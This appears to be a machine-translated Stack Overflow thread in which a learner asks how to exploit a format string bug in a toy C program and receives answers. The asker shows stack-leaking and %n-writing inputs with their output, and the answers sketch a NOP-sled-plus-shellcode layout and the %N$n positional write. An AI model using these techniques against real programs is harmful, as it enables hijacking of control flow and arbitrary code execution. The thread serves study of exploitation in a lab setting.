2014-01-16 2 views
6

Да, довольно много подобных вопросов уже существует (5037601, 19166698, 4855162, 14505995, 5052648, 13409508, 7745146, 7459630, извините, недостаточно rep для более чем 2 ссылок), и да , есть несколько хороших статей, объясняющих подобные вещи (click, click, http: //codearcana.com/posts/2013/05/02/introduction-to-format-string-exploits.html). Я прочитал их, и я думаю, что получаю общую идею, но я все еще не могу успешно использовать самый простой пример обучающей игрушки, о котором я мог думать.Перезаписать обратный адрес простой формат строки exploit

#include <stdio.h> 

void f(char* a) 
{ 
    printf("a: %p\n", &a); 
    printf(a); 
    return; 
} 

void main(int argc, char** argv) 
{ 
    f(argv[1]); //please ignore the lack of any check 
    return; 
} 

Да, стек исполнен и да, рандомизация памяти отключена. Каждое исполнение дает мне тот же адрес a. Я могу кормить его, например $ ruby -e 'print "AAAA"+("%08x."*16)', и что приводит к:

a: 0xbfffece0 
AAAAbfffece0.bfffecf0.b7fd7ff4.00000000.00000000.bffffcf8.080484b0.bfffecf0.00000fff.b7fd8420.00000000.41414141.78383025.3830252e.30252e78.252e7838. 

Так что теперь я могу видеть, где мой вклад заканчивается в памяти. Я могу записать значение в стек с $ ruby -e 'print "12345%n"+("%08x."*16)', что приводит к так:

a: 0xbfffece0 
12345bfffecf0.b7fd7ff4.00000000.00000000.bffffcf8.080484b0.00000005.00000fff.b7fd8420.00000000.34333231.256e2535.2e783830.78383025.3830252e.30252e78. 

Очевидно, что моя конечная цель, предположительно, будет что-то вроде <something><NOPs><shellcode>, где <something> перезаписывает адрес возврата f так, что программа будет прыгать в NOP сани и выполнить шеллкод. Но адрес сохраненного обратного адреса, похоже, зависит от моего ввода сейчас, правильно? Что-то похожее на 0xbfffece0 - len(input) - 12, предполагая 12-байтовый пролог? Возможно, этот пример не самый простой из всех ...

Я смущаюсь. Есть идеи?

+0

Действительно, поскольку аргументы 'printf' будут помещены в стек, адрес обратного адреса изменяется в соответствии с вашим вводом.Ваша строка формата должна, следовательно, «потреблять» столько же байтов, сколько и сама, плюс все остальное до адреса возврата. –

+0

Не могли бы вы привести конкретный пример, предполагая, например, 50-байтовый шелл-код и никаких NOP? –

+0

http://stackoverflow.com/questions/7459630/how-can-a-format-string-vulnerability-be-exploited –

ответ

0

Я предлагаю вам использовать длинную строку символов формата «% 08x», чтобы определить правильное значение «% n» на входе, чтобы он перезаписывал обратный адрес.

12345%n%08x%08x%08x%08x........%08x%08x 

Далее вы можете изменить свой вклад заменить часть «% 08x» строки с NOP санями + шеллкодом сохраняя длину входного же.

12345%n\x90\x90\x90\x90...\x90\x90SHELLCODE 

(Изменить% п спецификатор формата выше по мере необходимости, чтобы написать правильное значение)

Это обеспечит размер входа и, следовательно, местоположение сохраненного адреса возврата остается неизменным.

0

Другой идеей является использование «знака дола» %<distance>$n.

Цитируя PRINTF страницы руководства в Linux:

Можно также явно указать аргумент принимается, в каждом месте, где требуется аргумент, написав «% м $». Если десятичное число т обозначает положение в список аргументов требуемого аргумента, начиная с индексной 1. Source

Пример:%5$n будет написать на 5-й адрес из вершины стека.

Смежные вопросы